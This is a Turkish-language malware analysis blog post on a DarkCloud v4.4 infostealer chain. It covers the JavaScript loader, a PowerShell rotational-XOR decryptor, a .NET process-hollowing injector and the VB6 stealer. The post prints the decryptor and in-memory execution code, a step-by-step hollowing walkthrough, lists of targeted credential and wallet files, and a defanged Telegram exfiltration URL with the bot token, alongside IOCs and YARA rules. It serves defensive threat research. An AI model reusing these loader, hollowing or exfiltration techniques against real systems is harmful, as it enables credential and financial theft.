Gönderi

Tango Scramble 4: DarkCloud v4.4 Stealer Analizi

Tango Scramble 4: DarkCloud v4.4 Stealer Analizi

Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.

Yönetici Özeti (Executive Summary)

İncelenen örnek, MalwareBazaar üzerinden elde edilen çok katmanlı bir zararlı yazılım dağıtım zinciridir. Analiz sonucunda örneğin DarkCloud v4.4 ailesine ait bir infostealer olduğu tespit edilmiştir.

Saldırı zinciri beş ana aşamadan oluşmaktadır:

  1. JavaScript Loader (WSH): Obfuscated bir Windows Script Host dosyası, gömülü Base64 verisini çözerek bir sonraki aşamayı çalıştırır ve ardından kendini siler.
  2. PowerShell Decryptor: Rotational XOR algoritmasıyla şifrelenmiş veriyi çözer ve ortaya çıkan .NET assembly’yi doğrudan RAM üzerinde çalıştırır (fileless execution).
  3. Obfuscated .NET Loader: Crypto Obfuscator ile korunan bir DLL, gömülü resource’lardan DES + Deflate ile çözümlenen nihai payload’u elde eder.
  4. Process Hollowing: aspnet_compiler.exe (LOLBIN) askıya alınmış halde başlatılır, mevcut imajı bellekten kaldırılır ve yerine zararlı PE image manuel olarak map edilerek çalıştırılır.
  5. DarkCloud v4.4 Stealer: VB6 tabanlı stealer; Chromium ve Gecko tabanlı tarayıcılar, kripto cüzdanlar, FTP istemcileri, e-posta uygulamaları, Discord, Telegram ve VPN istemcilerinden veri çalar. Toplanan veriler Telegram Bot API üzerinden saldırgana iletilir.

Geliştirici ortamında bırakılan DARKCLOUD VERSION 4.4 SOURCECODE\Stubhelper\Project1.vbp yolu, zararlının DarkCloud ailesine ait olduğunu doğrulamaktadır. Tespit edilen Telegram C2 botu analiz tarihi itibarıyla yayında değildir.


Bölüm 1: JavaScript Loader Analizi

Örneğe İlk Bakış

MalwareBazaar Intel Linki

MalwareBazaar Örnek Sayfası

Elde edilen örnek, formatı bozulmuş bir JavaScript dosyasıdır. Analiz sürecinin ilk adımı olarak dosya, bir JavaScript formatter aracı kullanılarak okunabilir hale getirilmiştir.

Formatter Öncesi

Formatter Sonrası

Formatter çıktısında koda obfuscation ve splitting uygulandığı tespit edilmiştir.

Genel Yapı

Genel Kod Yapısı

İncelenen script, Windows Script Host (WSH) üzerinde çalışan çok katmanlı bir loader yapısıdır. Temel amacı, içerisine gömülü şifreli veriyi çözmek, ortaya çıkan payload’ı çalıştırmak ve ardından izlerini temizlemektir.

Şifreli Blob ve İlk Katman

Şifreli Blob

Script içerisinde BASE isimli bir değişkende çok uzun bir Base64 encoded veri saklanmaktadır. Bu değişken loader’ın ana veri kaynağıdır.

CyberChef Analizi

Blob başlığı CyberChef ile incelendiğinde, zararlı yazılım geliştiricisinin şifreleme mekanizmasını açıkça belgelediği görülmektedir. Yorum satırlarının yapısı, geliştirme sürecinde yapay zeka destekli kod üretimi kullanıldığına işaret etmektedir:

1
# Multi-Layer Rotational XOR Decryption System

Bu çıktı doğrudan payload değildir; ikinci aşama bir decoder script’tir. Script’in multi-stage bir yapıya sahip olduğunu göstermektedir.

Obfuscation Katmanları

Obfuscation Yapısı

Kod yoğun obfuscation içerir ancak bu obfuscation büyük ölçüde davranışı gizlemekten ziyade analizi zorlaştırmaya yöneliktir:

Alias ve Resolver Yapısı: Kodun başlangıcında çok sayıda değişken alias’ı tanımlanmıştır. Bu yapı, string resolver fonksiyonlarını dolaylı hale getirir:

1
2
var er = i, eJ = i, bu = l, a1 = d, a2 = d
// a1(0x123) → runtime sırasında gerçek bir string değere karşılık gelir

Wrapper Fonksiyonlar: Basit işlemleri dolaylı hale getiren çok sayıda yardımcı fonksiyon bulunmaktadır:

1
2
3
'fZBfk': function(S, T) { return S === T; }
'jZfdl': function(S, T) { return S(T); }
// f['jZfdl'](S, T) → doğrudan S(T) anlamına gelir

Anti-Analysis Mekanizmaları: constructor, toString, search ve self-invoking function blokları kullanılarak debugger tespiti, kod bütünlüğü kontrolü ve runtime manipülasyon tespiti yapılmaktadır.

Bu obfuscation katmanları analiz açısından kritik değildir ve davranışı anlamak için çözülmesi zorunlu değildir.

Payload Çalıştırma ve Watchdog

Script, çözülen payload’ı sistem üzerinde çalıştırmak için aşağıdaki yapıyı kullanmaktadır:

1
2
CMD = ... + SCRIPT_PATH
PROC = SHELL.Run(CMD)

Ardından yaklaşık 50 saniyelik (0xC350 = 50000ms) bir timeout ile süreç izlenmektedir. Süre aşılması durumunda WMI üzerinden ilgili process’ler enumerate edilerek sonlandırılmaktadır:

1
2
3
4
var wmi = GetObject(...)
var procs = wmi.ExecQuery(...)
if (p.CommandLine contains SCRIPT_PATH)
    p.Terminate()

Self-Deletion

Script, çalışmasını tamamladıktan sonra disk üzerinde artefact bırakmamak amacıyla kendi dosyasını silmektedir:

1
2
FS.FileExists(SCRIPT_PATH)
FS.DeleteFile(SCRIPT_PATH, true)

Çıkışta başarılı çalışma durumunda exit code 0, hata durumunda exit code 1 döndürülmektedir.


Bölüm 2: PowerShell Decryptor Katmanı

Base64 ile gizlenmiş bölüm decode edilerek dışarıya çıkarılmıştır:

Base64 Decode

PowerShell Script

Syntax yapısı incelendiğinde ortaya çıkan kodun bir PowerShell scripti olduğu anlaşılmaktadır. Script içerisinde, yapay zeka destekli kod üretimi izleri taşıyan bir encryption mekanizması tespit edilmiştir.

Decryption Key

1
2
3
$cryptorotation = @'
CinBCHKY5UBD0B2ut2dqoRXwjW6VP5FHPRH5HLBnmtU=
'@

Bu veri Base64 formatında saklanmış bir key material’dir ve XOR tabanlı decryption aşamasında kullanılmaktadır.

Rotational XOR Decryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$xorrotation = {
    param(
        [byte[]]$encryptedContent,
        [byte[]]$decryptionMaterial
    )

    $resultBuffer = New-Object byte[] $encryptedContent.Length
    $rotationCounter = 0

    for ($elementPosition = 0; $elementPosition -lt $encryptedContent.Length; $elementPosition++) {
        $materialIndex = ($elementPosition + $rotationCounter) % $decryptionMaterial.Length
        $resultBuffer[$elementPosition] = $encryptedContent[$elementPosition] -bxor $decryptionMaterial[$materialIndex]
        $rotationCounter = ($rotationCounter + $decryptionMaterial[$materialIndex]) % 7
    }

    return $resultBuffer
}

Bu fonksiyon klasik repeating-key XOR’dan farklıdır. Standart XOR’da anahtar indeksi yalnızca i % key.length iken, burada rotationCounter her byte’ın anahtar değerine bağlı olarak dinamik olarak kayıyor. Bu yapı, statik analiz araçlarının pattern-based tespitini zorlaştırmak amacıyla tasarlanmıştır.

Execution Handler

1
2
3
4
5
6
7
8
9
10
11
$executionhandler = {
    $scriptContent = & $decodermodule

    $executionStrategies = @(
        { Invoke-Expression $args[0] },
        { & { . { $args[0] } } },
        { [ScriptBlock]::Create($args[0]).Invoke() }
    )

    & $executionStrategies[0] $scriptContent
}

Decrypt edilen payload disk’e yazılmadan doğrudan RAM üzerinde çalıştırılmaktadır. Üç farklı execution stratejisi ile fallback mekanizması sağlanmaktadır:

  • Invoke-Expression
  • ScriptBlock oluşturma
  • Inline execution

Payload’ın Çıkarılması

Bu aşamada payload’ın dışarı alınması için scriptin sonuna aşağıdaki kod eklenmiş ve & $executionhandler satırı kaldırılmıştır:

1
2
$scriptContent = & $decodermodule
$scriptContent | Out-File final_payload.ps1

Payload Extraction

Çıkan Payload

.NET Assembly ve In-Memory Execution

Ortaya çıkan kod incelendiğinde aşağıdaki yapı gözlemlenmiştir:

.NET Loader Kodu

"DEVV.Down" ve "Shoot" ifadeleri kritik öneme sahiptir — payload droplandıktan sonra bu parametreler verilerek execution gerçekleştirilmektedir.

İncelenen çıktı, PowerShell üzerinden çalışan ve gömülü Base64 formatında saklanan bir .NET assembly’yi bellek içerisinde yükleyerek çalıştıran bir in-memory execution mekanizmasıdır.

Script, [System.Reflection.Assembly]::Load metodunu kullanarak binary veriyi doğrudan RAM’e yüklemekte ve disk üzerinde herhangi bir artefact oluşturmadan execution gerçekleştirmektedir.

Anti-Analysis Kontrolü

1
Test-ProcessAbsent "Aspnet_compiler"

Bu kontrol, aspnet_compiler.exe‘nin halihazırda çalışıp çalışmadığını denetlemektedir. Amacı, aynı zararlının birden fazla instance’ının eş zamanlı çalışmasını engellemektir — zira bu process aynı zamanda hollowing hedefi olarak kullanılacaktır.

.NET Binary’nin Çıkarılması

Base64 decode kodu güncellenerek payload diske yazılmıştır:

Decode Update

Binary Analizi

Dosya Özellikleri

ÖzellikDeğer
Dosya TürüPE32
Mimarix86 (32-bit)
TürDLL
Framework.NET Framework v4.5.2 (CLR v4.0.30319)
Boyut~21 KB
KorumaCrypto Obfuscator

Dosya bir executable yerine DLL olarak derlenmiştir. Bu durum, payload’ın doğrudan çalıştırılmak yerine reflection veya loader aracılığıyla çağrılmak üzere tasarlandığını göstermektedir.


Bölüm 3: Obfuscated .NET Loader — Deobfuscation Mücadelesi

Binary üzerinde yapılan incelemede aşağıdaki koruma teknikleri tespit edilmiştir:

  • Crypto Obfuscator kullanımı
  • Anti-ILDasm koruması
  • Obfuscated class ve method isimleri
  • Control flow obfuscation
  • String encryption (runtime decryption)

İlk String Analizi

String Analizi

Bu string haricinde başka kayda değer bir string tespit edilmemiştir. Binary, DNSpy ile detaylı incelemeye alınmıştır.

DNSpy Analizi

İlk incelemede aşağıdaki tespitler yapılmıştır:

  • DOWN.SHOOT(string targetPath, byte[] shellcode) methodu mevcut
  • LoadLibraryA ve GetProcAddress ile dynamic API resolving gerçekleştirilmekte
  • CreateProcess benzeri bir delegate tanımlı
  • Thread context okuma/yazma işlemleri mevcut
  • Remote memory allocation / write operasyonları mevcut
  • Section bazında PE kopyalama yapılmakta
  • Son aşamada thread resume edilerek çalıştırılmakta
  • Hata durumunda oluşturulan süreç sonlandırılmakta

Bu bulgular, örneğin bir process hollowing / RunPE tarzı injector olduğuna işaret etmektedir.

Crypto Deobfuscator Denemesi

Mevcut deobfuscator araç listesinden Crypto Obfuscator’a özel deobfuscator aracı denenmiştir:

Deobfuscator Listesi

Deobfuscator Denemesi

Deobfuscator Hatası

Hazır deobfuscator araçları şu varsayımlarla çalışır:

  • Stringlerin sabit bir decrypt fonksiyonu üzerinden çözülmesi
  • Açık string literal’ların bulunması
  • Predictable class ve method isimleri
  • Tek katmanlı statik çözümleme

Ancak incelenen örnekte stringler literal olarak bulunmamakta, string erişimi index tabanlı resolver fonksiyonları üzerinden yapılmaktadır. Bu nedenle araç beklediği pattern’i bulamayıp NullReferenceException vermiştir.

Custom Analyzer Geliştirme

Hazır araçların başarısız olması üzerine, örneğe özel bir analiz aracı geliştirilmiştir. Bu araç dnlib kütüphanesi kullanılarak tamamen statik analiz gerçekleştirmekte ve şu hedeflere odaklanmaktadır:

  • Assembly içindeki tüm method ve string referanslarını çıkarmak
  • Obfuscation kaynaklı wrapper methodları tespit etmek
  • String resolver ve integer resolver adaylarını belirlemek
  • Şüpheli API kullanımını işaretlemek
  • Methodlar arası çağrı ilişkisini (call graph) çıkarmak

Custom Analyzer

String Resolver Tespiti

Araç tarafından A.ca8961b6...::ccb46ef0... methodu string resolver olarak tespit edilmiştir. Bu method integer parametre alır, switch-case yapısı içerir ve string döndürür.

String Obfuscation Mekanizması

String Resolver

Static constructor (.cctor) içerisinde Base64 formatında saklanan "REVWViQ=" değeri decode edilerek "DEVV$" stringi elde edilmekte ve bu string assembly içerisindeki embedded resource’un adı olarak kullanılmaktadır. GetManifestResourceStream aracılığıyla resource okunmakta ve byte dizisi olarak memory’ye yüklenmektedir.

Bu byte dizisi, tüm string verilerin saklandığı merkezi bir veri havuzu olarak kullanılmaktadır. Packed binary string table yaklaşımıyla stringler doğrudan kodda bulunmamakta, bir indeks üzerinden runtime’da çözülmektedir.

String Extraction

Resource dışarıya alınarak stringlerin çıkarılması amacıyla özel bir script geliştirilmiştir:

Resource Export

String Extraction Script

Elde edilen kritik API isimleri:

1
2
3
4
5
6
GetThreadContext
ReadProcessMemory
Wow64SetThreadContext
WriteProcessMemory
ZwUnmapViewOfSection
kernel32

Bu API seti, hedef süreç içerisinde yeni bir executable image yerleştirerek çalışan klasik bir process hollowing tekniğinin kullanıldığını kesinleştirmektedir.

Payload Unpack Mekanizması (DES + Deflate)

Payload Unpack Fonksiyonu

.NET DLL içerisinde payload’u çözen fonksiyon, çok katmanlı bir unpack mekanizması kullanmaktadır:

  1. Embedded resource stream elde edilir
  2. İlk byte’lardan flag değeri okunur ve bitwise NOT ile terslenir
  3. Flag bitlerine göre:
    • (flag & 2) != 0DES ile decryption uygulanır (IV ve Key stream’den okunur)
    • (flag & 8) != 0Deflate ile decompression uygulanır
  4. Sonuç veri byte[] olarak DOWN.SHOOT fonksiyonuna verilir

DES aşamasında key tamamen sıfırlardan oluşuyorsa, anahtar mevcut assembly’den türetilir. Bu, Crypto Obfuscator’ın assembly hash’inden anahtar türetme mekanizmasıdır.


Bölüm 4: Process Hollowing — DOWN.SHOOT

DOWN.SHOOT

DOWN.SHOOT(string targetPath, byte[] shellcode) fonksiyonu, hedef bir süreci askıya alınmış halde başlatıp kendi payload’unu bu süreç içerisine manuel olarak yerleştiren bir process hollowing / manual PE injection rutinidir.

Parametrenin adı shellcode olsa da, kullanılan alanlar bunun klasik shellcode’dan ziyade tam bir PE image olduğunu göstermektedir.

Hollowing Akışı (13 Adım)

1. Hedef sürecin askıya alınmış halde oluşturulması

CreateProcessA ile targetPath olarak belirtilen aspnet_compiler.exe askıya alınmış (suspended) halde başlatılır.

2. Payload PE yapısının parse edilmesi

shellcode byte dizisinden e_lfanew (PE header offset), image base, image size, header size, section sayısı ve entry point RVA parse edilir.

3. Thread context’in alınması

GetThreadContext veya Wow64GetThreadContext ile hedef thread’in register durumu alınır. IntPtr.Size üzerinden 32-bit / WOW64 ayrımı yapılır.

4. PEB üzerinden image base okunması

ReadProcessMemory ile PEB yapısından hedef sürecin mevcut image base adresi okunur.

5. Mevcut imajın bellekten kaldırılması

Payload image base adresi ile hedef sürecin mevcut adresi çakışıyorsa ZwUnmapViewOfSection ile mevcut imaj kaldırılır.

6. Yeni bellek alanının tahsis edilmesi

VirtualAllocEx ile hedef süreçte payload için bellek ayrılır.

7. PE header’ın hedef sürece yazılması

WriteProcessMemory ile payload’un PE header bölümü hedef sürece yazılır.

8. Section’ların tek tek map edilmesi

.text, .data, .rdata gibi PE section’ları döngü içinde Buffer.BlockCopy ile ayrılıp WriteProcessMemory ile hedef sürece yazılır.

9. PEB image base güncellenmesi

WriteProcessMemory ile PEB içerisindeki image base alanı, yeni payload’un adresi ile güncellenir.

10. Yeni entry point hesaplanması

PE header’dan okunan entry point RVA ile tahsis edilen base adres toplanarak gerçek entry point elde edilir.

11. Thread context’in yeni entry point’e yönlendirilmesi

SetThreadContext veya Wow64SetThreadContext ile thread register’larına yeni entry point yazılır.

12. Thread’in resume edilmesi

ResumeThread ile askıya alınmış thread çalıştırılır. Bu noktadan itibaren meşru süreç kodu yerine zararlının payload’u yürütülmektedir.

13. Hata durumunda süreç sonlandırılması

catch bloğunda başarısız hollowing sonrası oluşturulan süreç Process.Kill() ile sonlandırılır.

LOLBIN Kullanımı

Loader, hedef süreç olarak aspnet_compiler.exe kullanmaktadır. Bu seçim bilinçlidir:

  • .NET tabanlıdır ve .NET assembly injection için uygundur
  • Sistemde güvenilir olarak bulunur
  • Güvenlik ürünleri tarafından genellikle şüpheli olarak işaretlenmez

Bu teknik LOLBIN (Living-Off-the-Land Binary) abuse olarak değerlendirilir.

Çok Katmanlı Yürütme Zinciri

1
2
3
4
5
6
7
8
9
10
11
wscript.exe (JS loader)
    ↓
PowerShell (hidden execution)
    ↓
C# Loader (Crypto Obfuscator korumalı .NET DLL)
    ↓
aspnet_compiler.exe (LOLBIN)
    ↓
Process Hollowing
    ↓
Final Payload (DarkCloud v4.4 — VB6 tabanlı)

Bölüm 5: Final Payload — DarkCloud v4.4

Bu aşamada statik analizin sınırlarına ulaşılması nedeniyle INetSim konfigüreli laboratuvar makinesinde dinamik analize geçilmiştir. final_payload.ps1 (C# kodunun elde edildiği script) çalıştırılarak Process Hacker ile izlenmiştir.

Process Hacker

aspnet_compiler.exe‘nin sürekli kendini yeniden başlatmaya çalıştığı gözlemlenmiştir. Create Dump File seçeneği ile sürecin bellek dökümü alınmıştır.

Memory Dump

Dump Analizi

Detect It Easy — Dump

Dump Detail

Runtime dumping sonucunda aspnet_compiler.exe süreci altında birden fazla PE bileşeni elde edilmiştir:

DosyaAçıklama
aspnet_compiler.exe.dmp.00072199_9a00.exeMeşru aspnet_compiler.exe — abuse edilen host süreç
aspnet_compiler.exe.dmp.b199_00067000.exeAsıl zararlı payload — VB6 runtime, WinINet API’leri içerir
Project1.exeAynı aileye ait ham/orijinal bileşen — attribution ipucu içerir
aspnet_compiler.dmp.0047f196_00028600.dllUPX packed yardımcı DLL — ikincil önemde

DarkCloud v4.4 Tespiti

Project1.exe içerisinde bulunan geliştirici yolu:

1
DARKCLOUD VERSION 4.4 SOURCECODE\Stubhelper\Project1.vbp

Bu yol, zararlının DarkCloud v4.4 ailesine ait olduğunu kesin olarak doğrulamaktadır. DarkCloud, underground forumlarda satışa sunulan ticari bir stealer’dır (Malware-as-a-Service).

Kapsamlı Hedef Listesi

Tarayıcılar

Chromium Tabanlı: Google Chrome, Brave, Microsoft Edge, Vivaldi, Yandex Browser, Opera, Opera GX, Amigo, Torch, Kometa, Orbitum, CocCoc, CentBrowser, 7Star, Sputnik, Chedot.

Gecko/Mozilla Tabanlı: Firefox, Waterfox, Pale Moon, SeaMonkey, Cyberfox, Comodo IceDragon.

Hedef Veriler: Login Data, Web Data, Cookies, History ve Autofill dosyaları (%APPDATA% ve %LOCALAPPDATA% altındaki profil dizinlerinde).

Finansal Veri Hırsızlığı

Web Data SQLite veri tabanından çalınan alanlar:

  • Kart bilgileri: card_number_encrypted, expiration_month, expiration_year, name_on_card
  • Adres/bölge: billing_address, city, state, zip_code, country_code
  • Otomatik doldurma: autofill_profiles tablosundan telefon ve e-posta

Kripto Para Cüzdanları

Masaüstü: Bitcoin-Core, Litecoin-Core, Dash-Core, Electrum, Exodus, Atomic Wallet, Jaxx, Liberty, Guarda, Coinomi, Armory (wallet.dat ve .json konfigürasyon dosyaları).

Tarayıcı Eklentileri: Metamask, Binance Chain Wallet, TronLink, Phantom, Ronin Wallet, Yoroi, Math Wallet, Coinbase Wallet (Local Storage dosyaları).

Diğer Uygulamalar

  • FTP: FileZilla (recentservers.xml, sitemanager.xml), WinSCP, CoreFTP, Putty
  • E-posta: Microsoft Outlook (.pst, .ost), Thunderbird
  • Oyun Platformları: Steam (oturum dosyaları, ssfn), Discord (Local Storage\leveldb)
  • VPN ve Mesajlaşma: NordVPN, ProtonVPN, Telegram masaüstü oturum verileri

Anti-Analysis Mekanizmaları

Zararlı, çalışmadan önce aşağıdaki araçların varlığını kontrol etmektedir:

  • Debuggerlar: x64dbg, WinDbg, OllyDbg, ImmunityDebugger
  • Ağ İzleme: Wireshark, Fiddler, HTTPDebugger, Charles
  • Sistem Analizi: Procmon, Process Explorer
  • Sanal Makineler: VMware, VirtualBox, QEMU, Sandboxie

C2 İletişimi — Telegram Bot API

Telegram C2

Zararlı, toplanan verileri dışarı sızdırmak için Telegram Bot API’sini kullanmaktadır:

1
hxxps://api[.]telegram[.]org/bot8652077722:AAH4G63Qb2MmUbMHMmR3j7GvYLrQ7n6TuEc/sendMessage?chat_id=8424414211

Telegram sunucularına /sendMessage ve /sendDocument çağrıları ile çalınan veriler (şifreler, kartlar, ekran görüntüleri) bot üzerinden saldırgana gönderilmektedir. Veriler %TEMP% klasöründe toplanıp paketlenerek HTTP POST ile iletilmektedir.

Bot Status

Bota yönelik gerçekleştirilen sorgu sonucunda, botun analiz tarihi itibarıyla yayında olmadığı tespit edilmiştir.


MITRE ATT&CK Mapping

TaktikTeknik IDTeknik AdıGözlemlenen Davranış
ExecutionT1059.007Command and Scripting Interpreter: JavaScriptWSH üzerinden çalışan JavaScript loader
ExecutionT1059.001Command and Scripting Interpreter: PowerShellPowerShell decryptor ve in-memory loader
ExecutionT1204.002User Execution: Malicious FileJS dosyasının kullanıcı tarafından çalıştırılması
Defense EvasionT1027Obfuscated Files or InformationJS alias/wrapper obfuscation, Crypto Obfuscator
Defense EvasionT1027.013Encrypted/Encoded FileBase64 + Rotational XOR + DES + Deflate katmanları
Defense EvasionT1140Deobfuscate/Decode Files or InformationÇok katmanlı decode zinciri
Defense EvasionT1055.012Process Injection: Process HollowingDOWN.SHOOT — aspnet_compiler.exe’ye PE injection
Defense EvasionT1218System Binary Proxy ExecutionLOLBIN: aspnet_compiler.exe abuse
Defense EvasionT1070.004Indicator Removal: File DeletionJS loader self-deletion mekanizması
Defense EvasionT1620Reflective Code Loading.NET Assembly::Load ile in-memory execution
Defense EvasionT1497Virtualization/Sandbox EvasionVMware, VirtualBox, QEMU, Sandboxie kontrolleri
DiscoveryT1057Process DiscoveryDebugger ve analiz aracı varlık kontrolü
Credential AccessT1555.003Credentials from Password Stores: Web BrowsersChrome, Firefox, Edge vb. Login Data çalınması
Credential AccessT1555Credentials from Password StoresOutlook, Thunderbird kimlik bilgileri
Credential AccessT1539Steal Web Session CookieTarayıcı Cookies dosyasının çalınması
CollectionT1005Data from Local SystemWallet dosyaları, FTP config, Steam, Discord verileri
ExfiltrationT1567Exfiltration Over Web ServiceTelegram Bot API üzerinden veri sızdırma
ExfiltrationT1041Exfiltration Over C2 ChannelsendMessage + sendDocument ile veri iletimi

IOC (Indicators of Compromise)

Dosya Hash’leri

Aşama 1 — JavaScript Loader (WSH)

AlgoritmaDeğer
Dosya22299bc617e8c48c64efe15d457304fc4f29591b683379c04cabd3f94dcaeddb.js
MD500e106f5e361ad6b1bb64acc66cdf776
SHA25622299bc617e8c48c64efe15d457304fc4f29591b683379c04cabd3f94dcaeddb
Boyut2.601.475 bytes

Aşama 2 — PowerShell Decryptor (XOR + Rotation)

AlgoritmaDeğer
Dosyastage2.ps1
MD5f01efa56577c2695d38946397b3d13b5
SHA256560c32301274ce49ccab2d1a8412f840512650220b6da1b62251272028b53698
Boyut1.923.373 bytes

Aşama 3 — PowerShell In-Memory Loader

AlgoritmaDeğer
Dosyafinal_payload.ps1
MD5116337c5faa055a7c941cddd77c20c0c
SHA256600a482fbd7e1380cd69aa11c6c7451b99239e4052aa4a92758aaa62c689262b
Boyut1.418.095 bytes

Aşama 4 — .NET Loader (Crypto Obfuscator)

AlgoritmaDeğer
Dosyapayload.exe (DLL)
MD5788d593171283cee91555a5b7d8e1dc2
SHA25600d5d01c5b2e5f3869a3146b445407b4614561f42c9d7b08e187375969f07632
Boyut21.504 bytes

Aşama 5 — Final Payload (DarkCloud v4.4)

AlgoritmaDeğer
Dosyaaspnet_compiler.exe.dmp.b199_00067000.exe (VB6 stealer)
MD5d64d3edfefa8d8f463baa7d75cc2f6d4
SHA25697534571fd15e5729bd06b1159ccd3bf59ce6356b10db880a205fd82562ef0ae
Boyut421.888 bytes
AlgoritmaDeğer
DosyaProject1.exe (attribution bileşeni)
MD55dcbed1fae79d50bd94d6d9c7e692f10
SHA256d890c39dc1644a16f99142a73766db35676b386d6319c6b0f82e8c88ea821a85
Boyut28.672 bytes

Yardımcı Bileşenler

AlgoritmaDeğer
Dosyaaspnet_compiler.exe.dmp.00072199_9a00.exe (meşru host)
MD5d5b7a261223aa887328c834323e047a5
SHA2564208eb3c9bc8305bbc47f9d53bb96d12c1bbe6c8d86882c81be83c33a51c49a1
Boyut39.424 bytes
AlgoritmaDeğer
Dosyaaspnet_compiler.dmp.0047f196_00028600.dll (UPX packed DLL)
MD5073a17b6cfb1112c6c838b2fba06a657
SHA256dcfcd16fbf0511d3f2b3792e5493fa22d7291e4bb2efbfa5ade5002a04fc2cab
Boyut165.376 bytes

Ağ Göstergeleri

Telegram C2:

1
hxxps://api[.]telegram[.]org/bot8652077722:AAH4G63Qb2MmUbMHMmR3j7GvYLrQ7n6TuEc/sendMessage?chat_id=8424414211
GöstergeDeğer
Bot Token8652077722:AAH4G63Qb2MmUbMHMmR3j7GvYLrQ7n6TuEc
Chat ID8424414211
API Endpointapi[.]telegram[.]org

Dosya Sistemi Göstergeleri

Zararlı bileşen isimleri:

1
2
3
4
DEVV.DOWN (Namespace)
DOWN.SHOOT (Injection method)
DEVV$ (Embedded resource — string data)
DEVV% (Embedded resource — constant data)

Geliştirici yolu (Attribution):

1
DARKCLOUD VERSION 4.4 SOURCECODE\Stubhelper\Project1.vbp

Süreç Göstergeleri

1
aspnet_compiler.exe — Process Hollowing hedefi (LOLBIN abuse)

Hedef Dosya Yolları

1
2
3
4
5
6
%APPDATA%\Google\Chrome\User Data\Default\Login Data
%APPDATA%\Google\Chrome\User Data\Default\Web Data
%APPDATA%\Google\Chrome\User Data\Default\Cookies
%LOCALAPPDATA%\Google\Chrome\User Data\Default\History
%APPDATA%\Mozilla\Firefox\Profiles\*\logins.json
%APPDATA%\discord\Local Storage\leveldb\*

YARA Kuralları

Aşağıdaki kurallar, analiz edilen zararlı yazılım zincirinin farklı aşamalarını tespit etmek amacıyla oluşturulmuştur.

Kural 1: JavaScript Loader

rule DarkCloud_JS_Loader
{
    meta:
        description = "DarkCloud v4.4 — JavaScript WSH Loader"
        author      = "BinaryBear"
        date        = "2026-03-27"
        reference   = "MalwareBazaar: 22299bc617e8c48c64efe15d457304fc4f29591b683379c04cabd3f94dcaeddb"

    strings:
        $xor_comment = "Multi-Layer Rotational XOR" ascii
        $var_base    = "var BASE=" ascii
        $wsh_quit    = "WScript.Quit" ascii
        $self_del    = "DeleteFile" ascii
        $watchdog    = "ExecQuery" ascii

    condition:
        $xor_comment or (filesize > 1MB and 3 of ($var_base, $wsh_quit, $self_del, $watchdog))
}

Kural 2: .NET Loader (Process Hollowing Injector)

rule DarkCloud_DotNet_Injector
{
    meta:
        description = "DarkCloud v4.4 — Obfuscated .NET Process Hollowing Loader"
        author      = "BinaryBear"
        date        = "2026-03-27"
        hash        = "00d5d01c5b2e5f3869a3146b445407b4614561f42c9d7b08e187375969f07632"

    strings:
        $ns     = "DEVV" ascii wide
        $res1   = "DEVV$" ascii wide
        $res2   = "DEVV%" ascii wide
        $method = "SHOOT" ascii wide
        $class  = "DOWN" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        filesize < 50KB and
        3 of them
}

Kural 3: DarkCloud v4.4 Stealer (Final Payload)

rule DarkCloud_v44_Stealer
{
    meta:
        description = "DarkCloud v4.4 — VB6 Information Stealer"
        author      = "BinaryBear"
        date        = "2026-03-27"
        hash        = "97534571fd15e5729bd06b1159ccd3bf59ce6356b10db880a205fd82562ef0ae"

    strings:
        $attr     = "DARKCLOUD VERSION" ascii wide nocase
        $vbp      = "Stubhelper" ascii wide
        $tg_api   = "api.telegram.org" ascii wide
        $tg_send  = "/sendDocument" ascii wide
        $browser1 = "Login Data" ascii wide
        $browser2 = "Web Data" ascii wide
        $wallet   = "wallet.dat" ascii wide

    condition:
        uint16(0) == 0x5A4D and (
            $attr or
            ($vbp and 1 of ($tg*)) or
            (2 of ($tg*) and 2 of ($browser*, $wallet))
        )
}

Kural 4: Process Hollowing Davranış Tespiti (API Tabanlı)

import "pe"

rule Suspicious_Process_Hollowing_Imports
{
    meta:
        description = "Process Hollowing API kombinasyonu tespiti"
        author      = "BinaryBear"
        date        = "2026-03-27"

    condition:
        uint16(0) == 0x5A4D and
        pe.imports("kernel32.dll", "CreateProcessA") and
        pe.imports("kernel32.dll", "VirtualAllocEx") and
        pe.imports("kernel32.dll", "WriteProcessMemory") and
        pe.imports("kernel32.dll", "ResumeThread") and
        (
            pe.imports("kernel32.dll", "GetThreadContext") or
            pe.imports("kernel32.dll", "Wow64GetThreadContext")
        ) and
        (
            pe.imports("ntdll.dll", "ZwUnmapViewOfSection") or
            pe.imports("ntdll.dll", "NtUnmapViewOfSection")
        )
}

Not: Kural 4, string bazlı değil API import bazlıdır. Process hollowing için gereken API kombinasyonunu (CreateProcessA + VirtualAllocEx + WriteProcessMemory + GetThreadContext + ZwUnmapViewOfSection + ResumeThread) arayan bu kural, obfuscation uygulanmamış binary’lerde etkilidir. Analiz edilen .NET örneğinde API isimleri runtime’da çözüldüğü için bu kural doğrudan uygulanamaz; ancak unpack sonrası veya farklı varyantlarda geçerlidir.

Bu gönderi CC BY 4.0 lisansı altındadır.